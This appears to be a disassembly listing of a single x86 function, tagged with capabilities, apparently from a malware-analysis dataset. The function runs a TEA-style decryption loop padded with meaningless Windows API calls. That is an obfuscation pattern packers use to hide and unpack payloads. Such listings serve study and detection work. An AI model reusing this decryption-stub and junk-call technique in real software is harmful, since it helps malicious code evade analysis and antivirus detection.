Function at 0x403690
Capabilities:
Create pipe
Get common file path
Get disk information
Get geographical location

Disassembly:
mov eax, 0x19b4
call fcn.0040a9f0
mov eax, dword [0x5e23ac]
mov ecx, dword [0x5e1e3c]
push ebx
push ebp
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x403999
mov ebp, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
mov edi, ecx
mov dword [esp + 0x34], 0x9e3779b9
mov dword [esp + 0x24], edi
mov dword [esp + 0x2c], eax
jmp 0x4036e6
mov edi, dword [esp + 0x24]
xor esi, esi
cmp dword [0x5e23ac], 0x959
jne 0x40376a
push esi
lea eax, [esp + 0x11c4]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x403354
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
lea ecx, [esp + 0x5c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x43cf90]
mov edx, dword [edi]
mov ecx, dword [0x43cf94]
mov edi, dword [edi + 4]
mov dword [esp + 0x30], eax
lea eax, [esp + 0x14]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x14], esi
mov dword [esp + 0x38], ecx
call fcn.00403680
mov edx, dword [0x43cf98]
mov eax, dword [0x43cf9c]
add dword [esp + 0x14], 0x23f
mov dword [esp + 0x44], edx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x28], 0x20
jmp 0x4037c2
xor esi, esi
mov dword [esp + 0x20], 2
add dword [esp + 0x20], 3
mov eax, dword [esp + 0x1c]
mov edx, dword [0x5e23ac]
mov ecx, eax
shl ecx, 4
add ecx, dword [esp + 0x44]
cmp edx, 0xfa9
jne 0x4037f6
mov dword [0x5e23a8], 0xedeb2e40
jmp 0x403804
cmp edx, 0x3eb
jne 0x403804
mov dword [0x5e1e38], esi
mov edx, dword [esp + 0x14]
add edx, eax
mov eax, dword [esp + 0x1c]
shr eax, 5
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
add eax, dword [esp + 0x3c]
xor ecx, edx
xor eax, ecx
cmp dword [0x5e23ac], 0x213
mov dword [0x5e23a4], 0xf4ea3dee
mov dword [esp + 0x18], eax
jne 0x4038f7
push esi
lea eax, [esp + 0xdc4]
push eax
push esi
push esi
push esi
push esi
call ebp
lea ecx, [esp + 0x1c0]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push esi
push esi
push esi
lea edx, [esp + 0xac]
push edx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x4032c8
push esi
call ebx
push esi
push 0x4032e0
push 0x4032f8
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCommState]
lea eax, [esp + 0x5c0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x30
lea ecx, [esp + 0x54]
push esi
push ecx
mov dword [esp + 0x58], esi
call fcn.00407a90
add esp, 0xc
lea edx, [esp + 0x4c]
push edx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
push esi
lea ecx, [esp + 0x11c4]
push ecx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov eax, dword [esp + 0x18]
sub edi, eax
cmp dword [0x5e23ac], 0xc
jne 0x403914
lea edx, [esp + 0x48]
push edx
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push esi
push esi
call ebx
mov ecx, dword [esp + 0x14]
mov edx, edi
shr edx, 5
add ecx, edi
mov dword [esp + 0x18], edx
mov eax, dword [esp + 0x38]
add dword [esp + 0x18], eax
mov esi, edi
shl esi, 4
add esi, dword [esp + 0x30]
xor esi, ecx
cmp dword [0x5e23ac], 0xb03
jne 0x403959
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push 0x403310
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
xor esi, dword [esp + 0x18]
mov dword [esp + 0x40], esi
mov eax, dword [esp + 0x40]
sub dword [esp + 0x1c], eax
mov eax, dword [esp + 0x34]
sub dword [esp + 0x14], eax
dec dword [esp + 0x28]
jne 0x4037c0
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
mov dword [eax], ecx
mov dword [eax + 4], edi
add eax, 8
dec dword [esp + 0x2c]
mov dword [esp + 0x24], eax
jne 0x4036e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x19b4
ret